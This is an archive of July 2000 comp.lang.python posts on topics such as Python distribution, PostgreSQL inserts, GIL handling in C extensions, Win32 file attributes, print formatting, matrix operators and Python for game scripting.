Date: Fri, 14 Jul 2000 08:38:18 -0700 (PDT)
Subject: Does Python code >.require<< a run-time environment?? (New to Python)
Message-ID: <20000714153818.28906.qmail@web5302.mail.yahoo.com>

I am new to Python... and I was wondering... Does Python code compile
to any form of .exe file, or do you require a run-time interpreter? 
If the second is the case, how do you distribute applications??  Is
it a light-weight run-time (small space, easy to include)... and do
the end-users have to go through alot of steps to get to run it??

I like the language... but one reason why I'm looking at something
-other- than Java is that I am kinda needing an .exe -type
capability...

~Dave

__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/



From nowonder at nowonder.de  Mon Jul 31 19:53:13 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Mon, 31 Jul 2000 23:53:13 +0000
Subject: [4th Draft] Open Letter to CNRI: Request for clarification
References: <3985969C.48222D21@nowonder.de> <FyKs2H.DKo@world.std.com>
Message-ID: <39861169.3A2A5102@nowonder.de>

Hi Will!

Thanks for the suggestions. I guess you'll like the 6th draft.

Will Ware wrote:
> 
> 1. CNRI legally owns Python, up to version 1.6. You and I don't have
> any legal rights of any kind in this matter. The user community does
> not collectively have any legal rights in this matter. We are extremely
> dependent upon CNRI's good will.

I doubt that. As far as I understood the matter Python 1.5.2
was released under the old CWI license. Am I missing something?

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From tsmets at altern.org  Thu Jul 27 19:36:39 2000
From: tsmets at altern.org (Thomas SMETS)
Date: Thu, 27 Jul 2000 23:36:39 GMT
Subject: inserting integer in Table
References: <397CEEA4.7683A17@altern.org> <397CF583.603BC6B9@attglobal.net>
Message-ID: <3980E10A.205B6361@altern.org>

Well Roland,

didn't work at my place ...
I reCREATED a similar table with  a column defined as int4 & bearing the
name pk.
<snip>
tsmets=> create table TESTPYTHON
tsmets-> ( pk integer, filename varchar(99), file bytea );     
</snip>

I couldn't insert a simple integer with you command :
        i = 0
        conn.query("insert into TESTPYTHON pk values ( %s );" % i)


Exception thrown is :
<snip>
Traceback (innermost last):
  File "insertBlobs.py", line 15, in ?
    conn.query("insert into TESTPYTHON (pk) values ( %s );" % i)
pg.error: ERROR:  Relation 'testpython' does not have attribute 'pk'    
</snip>

Shouldn't I use %i or something like that instead of %s ?

Tx,

Thomas,








===============
Roland Schlenker wrote:
> 
> Thomas SMETS wrote:
> 
> > In PostgreSQL table is :
> > <snip>
> > test=> \d  test_blob_s;
> > Table    = test_blob_s
> > +----------------------------------+----------------------------------+-------+
> > |              Field               |              Type                |
> > Length|
> > +----------------------------------+----------------------------------+-------+
> > | filenumber                       | int4
> > |     4 |
> > | filename                         | varchar()
> > |   100 |
> > | filecontent                      | oid
> > |     4 |
> > +----------------------------------+----------------------------------+-------+
> > test=>
> > </snip>
> >
> > Now I'm willing to insert in that table rows like this one :
> > <i>, <file_name_i>, <file_name_i_content>.
> >
> > Here's is the (not-so-running) code :
> >
> > <snip>
> > #
> > #
> > # ############################################
> > import os, glob
> > from pg import DB
> >
> > conn=DB('test')
> > conn.query("BEGIN WORK;")
> >
> > i = 0
> > for name in glob.glob("*.jpg"):
> >     print "Name is ", name,
> >     try:
> >         conn.query("insert into test_blob_s  filenumber  values (" + i +
> > ")")
> 
>              conn.query("insert into test_blob_s values (%s);" % i)
> 
> >
> >         print " inserted"
> >     except TypeError,e:
> >             print '\nerror ', e, 'undefined'
> > #    conn.query( "update test_blob_s set filename = '" + name + "')")
> 
>      #     conn,query("update test_blob_s set filename = '%s';" % name)
> 
> >
> > #    conn.query( "update test_blob_s set filecontent = '" +
> > lo_import(name) + "')")
> 
>      #     conn.query("update test_blob_s set filecontent = %s;" %
> lo_import(name))
> 
> >
> >
> >     i = i + 1
> >
> > conn.query(" COMMIT WORK;");
> >
> > </snip>
> >
> > of course I can't have it passing the insert of "i"
> > Could some one help ?
> >
> > Thomas,
> >
> > --
> >
> > Thomas SMETS                           Phone : +32 (0)2 742. 05. 94.
> > Av. de la Braban?onne 133 / 3          e-mail : tsmets @altern.org
> > 1030 Bruxelles
> >
> > ==== Quote of the day =========
> > You shouldn't wallow in self-pity.  But it's OK to put your feet in it
> > and swish them around a little.
> >                 -- Guindon
> >  ======= End of Quote =========
> 
> Roland Schlenker

-- 

Thomas SMETS                           Phone : +32 (0)2 742. 05. 94.
Av. de la Braban?onne 133 / 3          e-mail : tsmets @altern.org
1030 Bruxelles

==== Quote of the day =========
Your true value depends entirely on what you are compared with.
 ======= End of Quote =========


From fdrake at beopen.com  Mon Jul  3 09:28:02 2000
From: fdrake at beopen.com (Fred L. Drake, Jr.)
Date: Mon, 3 Jul 2000 09:28:02 -0400 (EDT)
Subject: Bug in math.frexp?
In-Reply-To: <200007031118.NAA22787@centurion.xs4all.nl>
References: <20000630221759.A1965@xyz.donetsk.ua>
	<LNBBLJKPBEHFEDALKOLCCELGGHAA.tim_one@email.msn.com>
	<14688.12945.528521.351944@cj42289-a.reston1.va.home.com>
	<200007031118.NAA22787@centurion.xs4all.nl>
Message-ID: <14688.38114.543936.743938@cj42289-a.reston1.va.home.com>

Thomas Wouters writes:
 > Not sure which version of the Linux manpges you read, but the frexp manpage
 > that came with RedHat 6.1 more or less exactly mirrors Tim's description:

  I must have looked at something older when last I updated the
frexp() description; my Mandrake 7.0 install agrees with your RedHat
manpage.

 > Solaris 2.5 manpage I have access to is indeed a bit confusing, but does
 > state the same: 'x' is in the range of [0.5, 1), or 0. That means the
 > exponent has to be able to be negative, when the original number was
 > negative.

  And it's certainly possible I was just confused... numerics are not
my area of expertise, and I'll bow to Tim on this stuff regardless.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at beopen.com>
BeOpen PythonLabs Team Member




From db3l at fitlinxx.com  Tue Jul 18 15:22:57 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 18 Jul 2000 15:22:57 -0400
Subject: Pipes, Sockets and Threads
References: <8l17sr$bpa$1@nnrp1.deja.com>
Message-ID: <ubszvp7ji.fsf@ctwd0143.fitlinxx.com>

rpevans at my-deja.com writes:

> I have extended Python with some purpose built functions, written in C
> which communicate with a server process, via named pipes.  Initially I
> called one of these functions (mylib.fred ) from main to initiate
> communications with the server. Once stablished I then started a thread,
> again a mylib function, to monitor the pipe connection set up
> previously.  This is does but locks out the rest of the system. Only
> when the thread receives data from the server does the rest of the
> system run momentarily before again hanging. My first line of attack was
> to put the function which initiated the comms in a separate thread so
> divorcing the comms from main completely (I hoped). Now I have the
> problem of communicating data ( pipe/socket fds) from my first thread
> back to main and then to the second thread which inplements the select .

I think you're going to have to be clearer here just what sort of
threads (Python or native) you're talking about in each portion of the
above paragraph, because the answers are different in either case.

If, for example, your mylib module creates an internal native thread
to handle I/O to the named pipe, buffering it up until the Python
process wants to query it, you shouldn't have any problem at all.
Once the native thread is begun, it runs independently of Python.  You
will, of course, have to provide some sort of protection mechanism
(semaphores, critical sections, etc..) over common resources such as
shared buffers.

However, if the threads you are talking about are Python threads, then
it sounds like you aren't relinquishing the global interpreter lock
around blocking I/O in your extension module.  Python, although it
supports threading, can only really have one interpreter native thread
running at one time.  So even if you create multiple Python threads,
if one of them calls into an extension module that then blocks (such
as on I/O to a named pipe), it will block the Python interpreter in
general.

There are macros that you can use within your extension module to
relinquish the global interpreter lock around such blocking I/O or
other long-running native tasks (regaining it after the process is
completed), which will permit the other Python "threads" to continue
running in the interpreter.  The use of these macros and the issue of
the global interpreter lock is covered in the Python/C API
documentation (see seciton 8.1, although I agree it's not unbelievably
detailed).

> (...)
> Secondly how do I transfer variables from the C extension library to and
> from the Python module.  I asume I can't return a value from a thread in
> the argument list. I have tried declaring a variable as global in python
> and external in C without much (ie any succcess ).

Extension functions accept arguments as Python objects (which can be
parsed with PyArg_ParseTuple() for example) and returns results also
as Python objects (often built with Py_BuildValue() or returned from
some other Python C-API function).  This is covered in the extending
and embedding Python documentation.

> Could anyone tell me how I can implement complete asynchronicity between
> my mian module and the communication threads. Is there a site with some
> example Python threaded code. The library reference is quite sparse in
> this area. The books I have bought (O Reilly) do not mention threaded
> architecture. Is there a book which covers this?

Have you read the Python/C API documentation?  It should answer some
of these questions.  As mentioned above, there are probably two main
approaches that you might take.  You could either build internal
threads into your extension module that have nothing to do with Python
directly, but simply ensure your application remains responsive while
the Python threads are doing their thing.  The other approach is to
actually depend on the Python threads for the shared operations and
just support the interpreter lock within your extension functions to
ensure that you don't block other Python threads out.

Which is more appropriate depends on your application - the builtin
Python modules pretty much all do the latter (I believe), but I often
find the former useful in extension modules - particularly when the
reason for the extra threads is just to overlap I/O and remain
responsive to some external device or network connection.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From grey at despair.rpglink.com  Thu Jul 27 14:44:42 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Thu, 27 Jul 2000 18:44:42 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl>
Message-ID: <slrn8o10ko.rt1.grey@teleute.rpglink.com>

On 27 Jul 2000 17:56:55 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>Hmm. You seem to expect that strings and other things will be automatically
>coerced to integers whenever a function expects an integer. I think that's
>pretty scary; when I pass in the wrong thing to a function I *want* it to
>complain, as it's very likely I did it by accident. 

    The problem there is you're thinking in terms of separate data types.  I
prefer the freedom of thinking in /DATA/.  Not types, just data.  1.  Is that
a string?  Is it an integer?  Is it a floating point number?  Yes, it is all
three.

1.21 / 1
1 + 1
"My keycode is simple, 1."

>I don't want things to work by accident. Perhaps you're missing that this
>'problem' is also a 'feature'; you get less 'weird' bugs due to the fact that
>your program keeps running long after your data got coerce-mangled to death.
>Python would tend to throw exceptions as soon as it went wrong.

    I've never gotten 'weird' bugs from Perl taking the data type from the
context of the operation at hand.  Not even in my early days of Perl.  I won't
say there weren't got'chas that got me, but it was quite liberating not having
to worry about thinking in terms of how the computer sees the data and,
instead, having the computer see the data as /I/ see it.  

    Furthermore, I have already gotten my first 'wierd' Python bug and it is
wierder, by far, than anything I hit in Perl.  Even when I was debugging the
code (love the debugger!) I couldn't understand what was going on.  What's
more, in the context of the script, it shouldn't have happened.

def foo():
  print "foo"
foo

>>> def foo():
...   print "foo"
... 
>>> foo
>>> <function foo at 806ef00>

    Sure, works nice in interactive mode.  You'd think when I left that in my
script that Python would have tossed it's cookies.  No.  All I saw was a
statement the parser took and the debugger was showing no call being made even
when stepping through the code.  Newbie mistake, sure, but certainly one of
those that if we want to be strict about what goes where should have been
caught.

>So perhaps you're missing the important tradeoff here.

    What, strict checking versus TMTOWTDI?  If we're going to have the strict
checking why, then, don't we have typing up front instead of the half-typing
we have now?  Python gets the initial type from context but won't switch types
based on context?  Might as well force people back into declaring variables in
certain types since that is implicitly what we have now.

>All right, for this particular case I suppose one could get used to
>this kind of coercing. But in general? I'd need to *remember* it all,
>right?

    Nope.  You stuff a number into a scaler it is a number but can be used as
a string.  Not that hard to remember.  Much easier, in fact, that having to
remember to declare everything from the onset or declare it each time you need
to use it in a particular context much less having to put in checks in case
you're trying to declare something into something which it cannot be morphed
into.

    Simply stated, main reason I don't do C, don't do Java, and dropped Pascal
so long ago, the frustration of not being able to take data of one "type" and
use it in a different context without jumping through 20 different loops
depending on the particular case.  To me it isn't char, int, longint, unsigned
or signed, strings or whatever, it is data.  Lists and hashes (and in Python,
tuples) are just structures of data.  What "type" that data is is completely
subjective and based on the context of the operation.  To me, a language that
understands that has the feature, not the language that refuses to.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From m.faassen at vet.uu.nl  Fri Jul 28 23:24:45 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 29 Jul 2000 03:24:45 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com>
Message-ID: <8ltipt$31a$2@newshost.accu.uu.nl>

Alex Martelli <alex at magenta.com> wrote:
[snip]
> Making members into a dictionary _of lists_ seems another quite plausible
> organization, changing the loop's body to:
>     if members.has_key(name):
>         members[name].append(occ)
>     else:
>         members[name]=[occ]
> or (a matter of style):
>     try:
>         members[name].append(occ)
>     except KeyError:
>         members[name]=[occ]

I prefer (1.5.2 and later):

l = members.get(name, [])
l.append(occ)
members[name] = l 

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From cjensen at bioeng.ucsd.edu  Wed Jul 26 12:04:47 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Wed, 26 Jul 2000 09:04:47 -0700
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu> <slrn8nsdpi.2pk.wtanksle@dolphin.openprojects.net>
Message-ID: <397F0C1F.48F761AF@bioeng.ucsd.edu>

William Tanksley wrote:
> 
> On Tue, 25 Jul 2000 17:47:44 -0700, Curtis Jensen wrote:
> >I don't know if this is possible in python but, Is there a way to repeat
> >a format command a spceified number of times?  For example, in Fortran
> >there is the format code "20I5"  Which is the same as "I5" twenty
> >times.  I want something like:
> >print '20(%i5) ' % [list of 20 intgers]
> 
> Perhaps
> 
>  print (20*"%5i ") % [list of 20 integers]
> 
> will work for you.  The multiplier on the string repeats it 20 times.
> This lets you do things like:
> 
>  list = [list of 'n' integers]
>  print (len(list)*"%5i ") % list

This only works with tuples, not lists.  The % operator with strings
requires tuples.  I'm not sure why the chose to make this limitation. 
The following code gives this error.
a = [1,2,3,4,5]
print (5*"%5i ") % a
Traceback (innermost last):
  File "<stdin>", line 1, in ?
TypeError: illegal argument type for built-in operation

However, it works fine if a is a tuple.
Thanks.

> 
> >Also, how do I print without a new line other than using
> >sys.stdout.write?
> 
> Why?  Is there something in specific you're trying to avoid?  (Yes, it's
> possible, but it's not pretty.)

I want to print something, and then latter, print something else on the
same line.  I don't want to append to a string and then print the
string.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From alex at magenta.com  Sat Jul 15 05:15:46 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 15 Jul 2000 11:15:46 +0200
Subject: "archive" bits (was FAQTS)
References: <20000713214019.24273.qmail@synop.com>
Message-ID: <8kpavo14id@news1.newsguy.com>

"Fiona Czuczman" <fiona at sitegnome.com> wrote in message
news:20000713214019.24273.qmail at synop.com...
    [snip]
> ## Unanswered Questions ########################################
> -------------------------------------------------------------
> How can you check on the status of a file's "archive" bit, on DOS-type
platforms
> http://www.faqts.com/knowledge-base/view.phtml/aid/4706
> -------------------------------------------------------------
> Barry Pederson

I had missed the original request.

On Win32, with Hammond's extensions:

PythonWin 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
Portions Copyright 1994-1999 Mark Hammond (MHammond at skippinet.com.au)
>>> from win32file import GetFileAttributes
>>> GetFileAttributes("C:/witha.txt")
32
>>> GetFileAttributes("C:/withouta.txt")
128
>>>

where witha.txt does have the A attribute and withouta.txt lacks it.

You can also use symbolic names for the constants:

>>> import win32file
>>> win32file.FILE_ATTRIBUTE_ARCHIVE
32
>>> win32file.FILE_ATTRIBUTE_NORMAL
128
>>>

Note that the 'normal' bits seems to be set if and only if no other
bits are set.  Other attributes in the bitmask behave more normally,
i.e., they are bitwise-or'ed to give all attributes of the file.

For example, after making witha.txt read-only (still _with_ the A
attribute as well), we have:

>>> GetFileAttributes("C:/witha.txt")
33
>>> win32file.FILE_ATTRIBUTE_READONLY
1
>>>

I.e., the attributes of the file are the bitwise-or of archive and
readonly.  So, if you only want to test for archive, and don't care
about the others, you'll bitwise-and GetFileAttributes' result with
FILE_ATTRIBUTE_ARCHIVE, rather than testing for equality!


Alex





From alex at magenta.com  Fri Jul  7 04:52:17 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 7 Jul 2000 10:52:17 +0200
Subject: os.system
References: <8k23tg$38me$1@www.univie.ac.at> <39653D15.E4DE6131@pehr.net>
Message-ID: <8k45ut0190a@news2.newsguy.com>

pehr anderson <pehr at pehr.net> wrote in message
news:39653D15.E4DE6131 at pehr.net...
> Dear Matthias,
>
> In general, calling os.system causes the system to start a shell
> which then processes the command string.
    [snip]
> All I can offer is an explanation, not a speedup.
> Perhaps you could find a way to talk to a browser that
> may already be started?

Not all that difficult:

>>> import win32api
>>> win32api.ShellExecute(0,"open","c:\\pippo.htm",None,"",0)
33
>>>

This opens the given URL, in an existing and suitable browser
window if possible, else in a newly generated one, and I find
it to be very fast.  (The returned "33" doesn't mean much of
anything -- just check that it's not 32 or less, those would
be errors -- just the N+1-th annoying Win32 API quirk:-).


> I'd recommend browsing "Python for Win32" if you are serious
> about surviving under windows.

Yes, and I'm not even sure that would suffice (is ShellExecute
documented there?  I'm familiar with it, because I routinely
program under Win32 with other languages, so that's the first
thing I looked for when trying to do something equivalent to
a "start" from commandline, but I'm not sure how a Win32 newbie
would learn about it...).

Hammond's book is excellent, and so are his win32* extensions,
but there might still be lots of difficulty for programmers
that are not familiar at all with Win32 and its API's.


Alex





From alex_c at mit.edu  Tue Jul 11 08:46:02 2000
From: alex_c at mit.edu (Alex Coventry)
Date: 11 Jul 2000 08:46:02 -0400
Subject: Python and SSH
References: <8kf4gl$fqm$1@saltmine.radix.net>
Message-ID: <etdog4496np.fsf@nerd-xing.mit.edu>

> I'd like to have a running python process ACCEPT an incoming SSH
> connection.  Any ideas on how I could do this?
> 
> -- cary

Not really, but you might be able to get what you want using the
Monitor in Zope over a ssl connection, depending on what you want the
accepting python process to do.

Alex.



From robin at jessikat.fsnet.co.uk  Sat Jul 15 21:02:08 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sun, 16 Jul 2000 02:02:08 +0100
Subject: Neil Schemenauer's GC patch in python1.6?
References: <396F28A1.A181BF39@email.sps.mot.com>
 <3dn1jkljwy.fsf@kronos.cnri.reston.va.us>
 <rNL7kWAr+Jc5Ewpe@jessikat.fsnet.co.uk> <20000716012003.L7340@xs4all.nl>
Message-ID: <0k1sOJAQmQc5Ew5z@jessikat.fsnet.co.uk>

In article <20000716012003.L7340 at xs4all.nl>, Thomas Wouters
<thomas at xs4all.net> writes
>On Sat, Jul 15, 2000 at 06:30:19PM +0100, Robin Becker wrote:
>> In article <3dn1jkljwy.fsf at kronos.cnri.reston.va.us>, Andrew Kuchling
>
>[ amk explains cycle-GC will be in 2.0, though possibly optionally ]
>
>> If GC has finally/nearly made it, what about Chris Tismer's stackless?
>
>A different story altogether. I'm sure Christian can give a better
>explanation that I can, but I believe the main showstopper is the fact it's
>impossible to implement (currently) in JPython, not to mention future Python
>compilers. There may be a lot more behind it, though.
>
bit strange that features/defects in java should determine where python
goes. I would certainly like generator style programming to be easier.
-- 
Robin Becker


From thomas at cintra.no  Thu Jul 13 02:31:42 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Thu, 13 Jul 2000 06:31:42 GMT
Subject: Switching to Linux...... converting files and databases....
References: <8kj4i2+2fuo@eGroups.com>
Message-ID: <396d6214.857701549@news.online.no>

On Thu, 13 Jul 2000 01:04:02 -0000, "Steve Purcell"
<stephen_purcell at yahoo.com> wrote:

>ge at n... (Grant Edwards) wrote:
>> 
>> FYI, there are alread some projects like that: catdoc,
>> mswordview, (other things for excel and ppt files).  One of the
>> projects (can't remember the name) is a library of routines to
>> read/parse MS Office output.
>
>You're probably thinking of the WV library: http://www.wvware.com/
>
>-Steve

Hm .. could someone with C/C++ experience/knowhow make Python-bindings
to that library ?? Please.

Thomas


From hzhu at knowledgetrack.com  Fri Jul 14 20:22:41 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Sat, 15 Jul 2000 00:22:41 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F502B.45225ED9@roguewave.com> <slrn8mv7qg.rl.hzhu@rocket.knowledgetrack.com> <396FABF3.B82E0C2@roguewave.com>
Message-ID: <slrn8mvbt9.rl.hzhu@rocket.knowledgetrack.com>

On Fri, 14 Jul 2000 18:10:27 -0600, Bjorn Pettersen <bjorn at roguewave.com> wrote:
>Huaiyu Zhu wrote:
>> 
>> On Fri, 14 Jul 2000 11:38:51 -0600, Bjorn Pettersen <bjorn at roguewave.com>
>> wrote:
>> >
>> >Well, this could actually be generally useful, but not with the .+
>> >syntax (since the dot would interfer with methods on the sequence
>> >object).
>
>You're quoting me out of context here. What I could find generally
>useful is a way to spell component-wise operations...

That's what I meant to quote.  Sorry if that's not clear.


>As you might have guessed, I don't really care what is done in the
>matrix case -- I don't use matrices.  If a component-wise "operator"
>were to be added to Python however, I would expect it to work with e.g.
>list and in that case a dot is ambigous:
>
>  mylist.foo()  # are you calling the foo method on the list or the
>elements?

This is a method call, because f is not an operator and .f is not, either.
Or are you thinking about something else?


>I have a feeling that what you really want these operators to do is
>paralell component-wise operations on more than one collection object
>though, which is exactly what list comprehensions do (in a general way).

How would you write this in list compresension (in less than 10 lines)?

B*(sin(A*x+b).*(A*y)/3)/C

Note that * is matrix multiplication and .* is elementwise.  Note that C is
a matrix so the / is matrixwise.  If you want to write everything as for
loops it takes at least 30 lines, without any decent error analysis.

The main attraction of OO programming for numerical computation is finally
being able to not write out the indices, as mathematicians have always be
able to do on paper.

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From aahz at netcom.com  Tue Jul 18 22:48:28 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 19 Jul 2000 02:48:28 GMT
Subject: Getting method from within method?
References: <qnkitu3gd4m.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <8l34ts$49f$1@slb6.atl.mindspring.net>

In article <qnkitu3gd4m.fsf at arbutus.physics.mcmaster.ca>,
David M. Cooke <cookedm at physics.mcmaster.ca> wrote:
>I want to do recursion, like this:
>
>def factorial(n):
>    if n <= 1: return 1
>    else return n * factorial(n-1)
>
>However, this depends on the name of the method staying the same. For
>instance, if I did this:
>
>fact = factorial
>factorial = None
>
>fact(5) would give me an error since factorial isn't a method anymore.
>It would be nice if there was some way of referring to the method
>inside of the method.

While there are ways of getting to what you claim you want, IMO the most
appropriate answer is to remind you of the old joke:

"Doctor, it hurts when I whack my knee with a hammer."
"Well, don't do that!"
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From m.faassen at vet.uu.nl  Thu Jul 20 11:04:11 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 20 Jul 2000 15:04:11 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l6qt4$89p$1@fermi.tro.net>
Message-ID: <8l74db$hs6$1@newshost.accu.uu.nl>

In comp.lang.python Moritz Voss <nospam at buzzoff.com> wrote:

> "Martijn Faassen" <m.faassen at vet.uu.nl> schrieb im Newsbeitrag
> news:8l6pgt$fmc$1 at newshost.accu.uu.nl...
>> In comp.lang.python Moritz Voss <nospam at buzzoff.com> wrote:
>> > HOW FAST ARE THESE? <drool>
>>
>> Python's not amazingly fast by itself.
>>
>> Note that the speed of the compiler doesn't matter much; it's near
>> instantaneous, but since it outputs bytecodes and you can use those,
>> the speed of the interpreter is what really matters, and the interpreter
>> isn't too fast.

> Of course! That'S the problem.

I was pointing out that it is often *not* a problem. Premature optimization,
even in game programming, is not a good idea. While Python is slow 
compared to C code, if the same algorithm is used, you can:

  * use smarter algorithms much more easily in Python. Especially since
    Python allows rapid prototyping.

  * offload the time critical bits to C.

> So there is not a JIT compiler style thingy
> for Pyhon?

There's no JIT for Python.

>> From a game programming perspective, you can probably consider Python to
>> be dirt-slow, though. The trade-off is a lot of power for speed, but
>> that power can help you gain back speed because you can be a lot smarter.

> Well...my python use would be for animation scriipts, micro AI scripts, and
> map event scripts...maybe a little more, even.

It should be fine for map event scripts and for AI scripts, though
this of course depends on your exact implementation. Animation scripts
could be more tricky. Animation overal control can be done in
Python, though individual frame updates I'd do with C.
(that said, I made a simple animation system once in Python built on
top of SDL with PySDL and it seemed fast enough. no intensive testing,
though)

> Thanks :) So designing my own scripting language is easier.

That's of course not true; designing your own scripting language will
most likely result in an ad-hoc broken design. Look at all the various
application specific scripting languages for examples. It's even possible
your own design will be slower in many cases than the equivalent code
in Python, as you don't have as much time to polish it.

Of course you can do it right too, but it'll cost lots of time and is
definitely not easier.

> Or: Isn't it feasibble to pull of a stunt like ID software did with their VM
> files? These contain compiled C code that is loaded dynamically - and of
> course is fast as hell. We currently do a lot like this with DLLs for the
> Engine and Contoller modules, but maybe this is even an idea at unit level?

If you want to script your game in C there isn't any problem. :)

The idea of using a higher level language however is that you can use
higher level constructs. Which, believe me, is often a lot easier than
using C or C++.

> I'll open a thread on this... Compiled Scripts.

> Thanks for the hints, though, I was jus getting started in Python :) It's
> neat, but if it's slow, then it's worthless.

I think this focus on speed is even for a game programmer the wrong
approach. It's only too slow when you find it's too slow. You haven't
found out Python's too slow for your purposes yet.

That said, there are various other scripting languages which can be
faster and which are embeddable as well. I suggest you look at Lua:

http://www.tecgraf.puc-rio.br/lua/

Pike:

http://pike.idonex.com/

And I'm sure there are more.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From nospam at buzzoff.com  Thu Jul 20 14:09:46 2000
From: nospam at buzzoff.com (Moritz Voss)
Date: Thu, 20 Jul 2000 20:09:46 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l6qt4$89p$1@fermi.tro.net> <8l74db$hs6$1@newshost.accu.uu.nl>
Message-ID: <8l7f69$bon$1@fermi.tro.net>

"Martijn Faassen" <m.faassen at vet.uu.nl> schrieb im Newsbeitrag
news:8l74db$hs6$1 at newshost.accu.uu.nl...
> In comp.lang.python Moritz Voss <nospam at buzzoff.com> wrote:
>
> I was pointing out that it is often *not* a problem. Premature
optimization,
> even in game programming, is not a good idea. While Python is slow
> compared to C code, if the same algorithm is used, you can:
>
>   * use smarter algorithms much more easily in Python. Especially since
>     Python allows rapid prototyping.
>
>   * offload the time critical bits to C.

Maybe I don't get the python concept. Do you link it statically? Or is the
interpreter *.exe invoked every time?
We came from dos, counting every clock we spent using 90% assembly in our
software. Until we were struck that our texturing algorithm sucked (and
anyway, 3d accelerators were coming up and I already had one...)...


> >> From a game programming perspective, you can probably consider Python
to
> >> be dirt-slow, though. The trade-off is a lot of power for speed, but
> >> that power can help you gain back speed because you can be a lot
smarter.

Yes and no. Just because I have encapsulation and overloaded operators, that
does not mean my program is going to be faster than a program that performs
the same task in assembly or C.


> > Thanks :) So designing my own scripting language is easier.
>
> That's of course not true; designing your own scripting language will
> most likely result in an ad-hoc broken design. Look at all the various

Now, my own language would be an assembler-style thing. The concept is as
follows - every instruction corresponds to an index. Each of these indices,
after compilation, are then translated, during runtime, into direct function
addresses. So what I have is my program that consists of a huge bunch
pointers to C functions (which can have any level of complexity). These
would just be loaded, and called, loaded, and called. I'm not going into the
depths of this here but passing parameters and references is not a problem.

> application specific scripting languages for examples. It's even possible
> your own design will be slower in many cases than the equivalent code
> in Python, as you don't have as much time to polish it.

That is the problem - python is oblect-oriented. Most AI scripts are tiny,
though, just 15 lines or so with my assembler code.
Something for a missile would be
"CheckTarget-<calcangles>-Steer-IfCloserThanX-Detonate". The script knows
how toget closer to what it wants - but does so not my reall playing god and
moving the missile, but just setting off a command "Steer" that tells the
physics engine "ThrustvectorAngleChange (angles)"... This is unlike the
scripts in the Quake engines that allow to do unrealistic things - in my
project, each script can only do what is physically possible - otherwise,
the missile will crash or the tank will tip over in a curve.

A caveat here: The unit scripts will be lengthy, having units check engine
and gun temperature (and move into the shade or cease fire), check whether
they can go down that hill after it has started rainign, have them
communicate targetting info or even orders to other units, calculate the
lead for their next shots, return to a repair base via the safest way....

And it MUST all be user definable for the player, that point is muission
critical for the project. Otherwise, we'd hardcode it.

So what my C program would do is call a python function "main" or so that
runs and makes all these decisions, even calling subroutines and so on - and
modifes the unit state that it shares with the C program. (Which, then, will
run the atomar part of the physics engine, the one that does things like
accelerate and so on over time, according to the unit's desired speed
states.) So that kinda requires a language that is not absolutely basic,
like my ASM concept. :)

